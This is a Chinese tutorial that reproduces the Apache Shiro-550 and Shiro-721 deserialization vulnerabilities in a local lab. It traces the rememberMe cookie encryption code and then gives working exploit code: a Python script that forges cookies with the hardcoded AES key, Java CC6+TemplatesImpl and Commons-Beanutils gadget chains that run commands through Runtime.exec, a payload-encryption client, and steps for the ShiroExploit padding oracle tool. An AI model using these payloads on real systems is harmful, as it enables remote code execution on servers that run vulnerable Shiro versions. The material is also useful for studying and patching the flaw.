参考文章1 参考视频 参考文章2

(主要看参考文章2)

Shiro简介

Apache Shiro 是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能,Shiro框架直观、易用、同时也能提供健壮的安全性。

Apache Shiro反序列化漏洞分为两种:Shiro-550Shiro-721

Shiro-550反序列化漏洞

漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。 那么,Payload产生的过程: 命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值 在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

影响版本

Apache Shiro < 1.2.4

Shiro反序列化的特征

返回包中会包含rememberMe=deleteMe字段

这种情况大多会发生在登录处,返回包里包含remeberMe=deleteMe字段,这个是在返回包中(Response)

如果返回的数据包中没有remeberMe=deleteMe字段的话,可以在数据包中的Cookie中添加remeberMe=deleteMe字段这样也会在返回包中有这个字段

环境搭建

这里用的P神给的环境 :https://github.com/phith0n/JavaThings/tree/master/shirodemo

  • JDK 8u65
  • Tomcat 9
  • Shiro 1.2.4
  • Commons Collection 3.2.1

先把p神的项目下载下来

image-20230619172524775

然后用idea打开shirodemo

image-20230619172551611

接着就是配置tomacat

image-20230619172643791

先去官网把他下载下来

然后进入idea打开设置

image-20230619172728851

image-20230619172749282

添加tomacat的路径

image-20230619172816282

接着点击这个

image-20230619172838144

先配置这个

image-20230619172854359

最后就完成了

image-20230619172911210

漏洞的利用

先抓个包看看

默认账号密码

  • root
  • secret

(重点是得勾选这个remember me)

image-20230619173801606

固定会返回这个rememberMe=deleteMe

并且这个cookie很长(这就说明了这个cookie存着一些信息)

我们就去代码里找一下看这个cookie是怎么生成的

加密过程

在登录成功后会对cookie进行编码加密 ,我们来跟一下这个加密流程

入口是在 AbstractRememberMeManager.onSuccessfulLogin 方法

image-20230619175908159

判断 token 是否为 true,然后调用 rememberIdentity

image-20230619180002676

看一下这个 getIdentityToRemember

image-20230619180033277

大致就是获取用户名赋值给 principals

回到rememberIdentity跟进this.rememberIdentity(subject, principals)

image-20230619180132520

跟进 convertPrincipalsToBytes 看看:

image-20230619180150004

先对用户名进行序列化处理,然后调用了个this.getCipherService()方法是否有返回值,跟进查看:

image-20230619180226872

返回了一种 AES 的加密方式CBC。

回到convertPrincipalsToBytes方法,接着调用this.encrypt(bytes)对序列化后的用户名进行加密操作,跟进:

image-20230619180301097

这里同样是先用getCipherService方法获取一个加密方式,如果不是空则用该加密方式调用encrypt方法进行加密,AES加密是个对称加密需要密钥,所以这里用getEncryptionCipherKey获取一个密钥,跟进看看:

image-20230619180347089

看来是直接返回了这个密钥,由于我们知道这个漏洞就是因为密钥是硬编码写好的造成的,所以我们往回找找这个密钥是哪里赋值的。

找到这个AbstractRememberMeManager类初始化的时候会,调用setCipherKey方法来设置密钥:

image-20230619180422223

跟进setCipherKey方法瞧一眼:

image-20230619180444210

正如上面说的AES是对称加密,加密和解密的密钥是同一个,这里就是用传进来的密钥分别赋值给加密密钥和解密密钥,跟进setEncryptionCipherKey

image-20230619180515710

这里就是直接赋值了(吐槽下,真套呀,不过还能看得懂,没套晕)

回到AbstractRememberMeManager类初始化的this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES);这里,这里传入的静态变量DEFAULT_CIPHER_KEY_BYTES实在类定义里面写好的:

image-20230619180524282

就是说这个 encryptionCipherKeykPH+bIxk5D2deZiIxcaaaA== 的解密,是一个常量 就是说让用户名的序列化和一个常量进入 cipherService.encrypt 进行加密:

image-20230619180616452

具体加密就不看了,不懂密码学。

总之对学列化后的用户名进行AES加密之后会返回字节到rememberIdentity方法:

image-20230619180706415

进入下一步的rememberSerializedIdentity方法:

image-20230619181422498

刚才都还是在AbstractRememberMeManager类里面调用,这时候就来到了CookieRememberMeManager类里面,看类名大概能猜到是处理cookie的了。

这里逻辑就是对传进来的字节进行base64加密,然后设置为名字为rememberMe的cookie值。(根据这个函数名得知,这里是会对cookie进行序列化处理的)

解密分析

现在我们从getRememberedIdentity开始分析,文件位置 org/apache/shiro/mgt/DefaultSecurityManager.java

image-20230619182115535

跟进到getRememberedPrincipals

image-20230619182143104

继续跟到getRememberedSerializedIdentity

image-20230619182230245

这里的逻辑是先获取cookie中rememberMe的值,然后判断是否是deleteMe,不是则判断是否是符合base64的编码长度,然后再对其进行base64解码,将解码结果返回。

返回 getRememberedPrincipals方法,下一步跟进 convertBytesToPrincipals方法:

image-20230619182456872

可以看到就进行了两个操作 decryptdeserialize。解密就是和加密的逆过程,不多说,进入 deserialize

image-20230619182549894

继续跟进套娃的deserialize

image-20230619182713824

发现readObject方法出现了,下面就可以愉快地进行反序列化了!

加密解密跟解密都跟完了

(如果我们能根据这个固定密钥来伪造cookie的话,这样的话就可以进行恶意操作了)

AES密钥判断

前面说到 Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设 置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 但是即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥。可以收集密钥的集合,或者对密钥进行爆破。

那么如何判断密钥是否正确呢?文章一种另类的 shiro 检测方式提供了思路,当密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe字段,而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe字段。

因此我们需要构造payload排除类型转换错误,进而准确判断密钥。

shiro在1.4.2版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来,所以整个AES加解密过程的key就很重要了,正是因为AES使用Key泄漏导致反序列化的cookie可控,从而引发反序列化漏洞。在1.4.2版本后,shiro已经更换加密模式 AES-CBC为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。

可测试key是否正确

URLDNS链

通过漏洞原理可以知道,构造Payload需要将利用链通过AES加密后在base64编码。将Payload的值设置为rememberMe的cookie值,这里借助ysoserial中的URLDNS链去打,由于URLDNS不依赖于Commons Collections包,只需要JDK的包就行,所有一半用于检测是否存在漏洞

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*-* coding:utf-8
# @Time : 2020/10/16 17:36
# @Author : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES

def rememberme(command):
popen = subprocess.Popen([r'D:\Program Files\Java\jdk1.8.0_301\bin\java.exe', '-jar', r'F:\CTF资料\CTF工具\ysoserial\target\ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
# 替换dnslog
payload = rememberme('http://dq6w3y.dnslog.cn')
print("rememberMe={}".format(payload.decode()))

将得到的payload用Burp传入rememberMe的cookie值中:

当存在 JSESSIONID 时,会忽略 rememberMe,所以在攻击时需要将 JSESSIONID 删掉

image-20230619201344721

image-20230619201350611

成功

CC6+TemplatesImpl链

但是仅仅是URLDNS是不够的,我们想要的是执行恶意代码,所以先引入Commons Collections 3.2.1 包来进行利用构造。

(这里用常规的cc6链子是打不通的,用了话会报错,导致无法执行)
(就是反序列化流中包含非Java自身的数组,则会出现无法加载类的错误)

我们就得去找cc中还有没有没用数组的来替换cc6中使用数组的部分

这里感兴趣为啥的话可以看看 参考文章2

img

这次用这张图片 觉得写的不错

我们不难发现实际上CC4和CC2是没有用到Transformer数组的,但CC4依赖的是Commons Collections4这个包,当前环境无法使用这条链,拿还有啥方法呢?

我们可以尝试去改造CC6这条链的后半部分,在CC6链中,我们用到了一个类, TiedMapEntry ,其构造函数接受两个参数,参数1是一个Map,参数2是一个对象key。TiedMapEntry 类有个 getValue 方法,调用了map的get方法,并传入key:

1
2
3
public Object getValue() {
return map.get(key);
}

关键点就是这个key

当这个map是LazyMap时,其get方法就是触发transform的关键点:

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

我们以往构造CommonsCollections Gadget的时候,对 LazyMap#get 方法的参数key是不关心的,因为通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化恶意对象。

但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇的发现,这个 LazyMap#get 的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。

我们LazyMap.get(key)直接调用InvokerTransfomer.transform(key),然后像CC2那样调用TempalteImpl.newTransformer()来完成后续调用。

img

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;


import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Shiro550 {
public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fileNmae);
field.setAccessible(true);
field.set(obj,value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}

public static void main(String []args) throws Exception {
//CC.CC3
// TemplatesImpl templates = new TemplatesImpl();
// setFieldValue(templates,"_name", "aaaaa");
// byte[] code = Files.readAllBytes(Paths.get("E:\\Coding\\Java\\VulTest\\CC\\target\\classes\\Shiro\\EvilTemplatesImpl.class"));
// setFieldValue(templates, "_bytecodes", new byte[][] {code});
// setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "aaa");

byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setFieldValue(templates, "_bytecodes", bytecodes);
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());

//CC.CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

//CC.CC6
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);

Map expMap = new HashMap();
expMap.put(tiedMapEntry, "valuevalue");
lazyMap.remove(templates);

setFieldValue(lazyMap, "factory", invokerTransformer);


serialize(expMap);
unserialize("ser.bin");
}
}

然后将生成的ser.bin用加密脚本给进行加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.nio.file.FileSystems;
import java.nio.file.Files;

public class Shiro550Client {
public static void main(String []args) throws Exception {
byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("E:\\Coding\\Java\\VulTest\\CC\\ser.bin"));
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

然后再将生成的编码进行cookie传参

image-20230619205759940

Commons-Beanutils1链

上面的CC6+TemplatesImpl链是依赖于Commmons Collections软件包的,如果项目中没有用到的话就无法实现代码执行,那有没有只用Shiro自己的类就能实现代码执行的链呢?答案是有的。这里用到了Apache Commons Beanutils包。

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。关于JavaBean的说明可以参考这篇文章

这里的话我也写了一篇文章来说分析这个cb链 java-Commons-BeanUtils

简单来说就是这个链子可以任意进行getter操作

如何利用这个PropertyUtils.getProperty()方法去构造我们的利用链呢?回顾CC链中没有用到Commons Collections包的部分,再次搬出这张图

img

其中红框的部分就是没有用到Commons Collections包的部分,如此一来,CC3中的TemplatesImpl实现类加载任意代码执行是跑不掉的,所以我们要找找那里能调用TemplatesImpl.newTransformer()方法,然后我们找到了TemplatesImpl.getOutputProperties()

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

它的内部调用了 newTransformer(),而 getOutputProperties 这个名字,是以 get 开头,正符合getter的定义。

所以, PropertyUtils.getProperty( obj, property ) 这段代码,当obj是一个 TemplatesImpl 对象,而 property 的值为 outputProperties 时,将会自动调用getter,也就是 TemplatesImpl.getOutputProperties() 方法,触发代码执行。

img

这就是一条cb链而已 但是这个cb链和上面给的链接的cb链子不是一回事

因为用的依赖不同 所以如果直接用上面的cb链来打的话会执行失败并且报错

所以这里得重新构造(但是区别不是很大)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Test {
public static void setFieldValue(Object obj, String fileName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fileName);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}

public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
byte[] code = getTemplatesImpl("calc");
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);

PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
//这个add里的数值要注意一下,必须传的是string类型,不然会报错
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

serialize(queue);
unserialize("ser.bin");
}

}

这里和上面常规的cb链不同的是

image-20230620154157363

将这里进行了修改 因为就是如果不修改的话会报错

image-20230620154306119

就是会报这个错误

image-20230620154552684

然后就解决了这个问题,就可以成功进行恶意代码执行了

image-20230620154446944

Shiro中常见的三种错误 在复现shiro的过程中如果遇到问题可以来看看这里 基本都能得到解决

Shiro-721反序列化漏洞

参考文章

漏洞原理

在Shiro721漏洞中,由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle Attack来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

虽然使用Padding Oracle Attack可以绕过密钥直接构造攻击密文,但是在进行攻击之前我们需要获取一个合法用户的Cookie。

漏洞流程

  • 登录网站获取合法Cookie
  • 使用rememberMe字段进行Padding Oracle Attack,获取intermediary
  • 利用intermediary构造出恶意的反序列化密文作为Cookie
  • 使用新的Cookie请求网站执行攻击

影响版本

  • Shiro <=1.4.1

环境搭建

shrio-550的的版本换掉就行

image-20230620163656141

漏洞分析

密钥分析

image-20230620163758041

跟进generateNewKey()

image-20230620163822678

在接着跟进generateNewKey

image-20230620163850243

然后接着跟进init

image-20230620163925489

在接着跟进init

image-20230620163954395

image-20230620164051151

获取完新的key之后,回到这里进行编码

image-20230620164134997

image-20230620164158552

加密方法还是AES

image-20230620164246098

最后跟进这个setCipherKey 就是将新生成的key来作为加密和解密的key

至此就是Shiro721完整的密钥生成过程。

布尔条件

我们知道,Padding Oracle Attack攻击是一种类似于sql盲注的攻击,这就要求服务器端有能够被我们利用的布尔条件。在CBC字节翻转攻击&Padding Oracle Attack原理解析这篇文章中,我们模拟的服务器环境如下

  • 当收到一个有效的密文(一个被正确填充并包含有效数据的密文)时,应用程序正常响应(200 OK)
  • 当收到无效的密文时(解密时填充错误的密文),应用程序会抛出加密异常(500 内部服务器错误)
  • 当收到一个有效密文(解密时正确填充的密文)但解密为无效值时,应用程序会显示自定义错误消息 (200 OK)

我们可以通过响应头来判断明文填充是否正确,进而爆破出中间值。那么对于解密不正确的Cookie,Shiro是怎么处理的呢?

(这里的话Padding Oracle Attack就不详细分析了,只讲结论)

  • Padding正确,服务器正常响应
  • Padding错误,服务器返回Set-Cookie: rememberMe=deleteMe

漏洞利用

在Shiro550中,我们可以直接通过硬编码密钥直接生成攻击密文。但是Shiro721使用了动态密钥,无法直接获取密钥。但是仍然可以通过Padding Oracle Attack绕过密钥,直接生成攻击密文。

利用链和Shiro550类似,这里我们使用ShiroExploit.V2.51工具进行攻击测试。输入测试网址以及登录用户的Cookie

然后就可以利用工具进行测试了

1
& 'C:\Program Files\Java\jdk1.8.0_202\bin\java.exe' -jar .\ShiroExploit.jar

这是我的启动方式 (因为环境变量是17,用不了)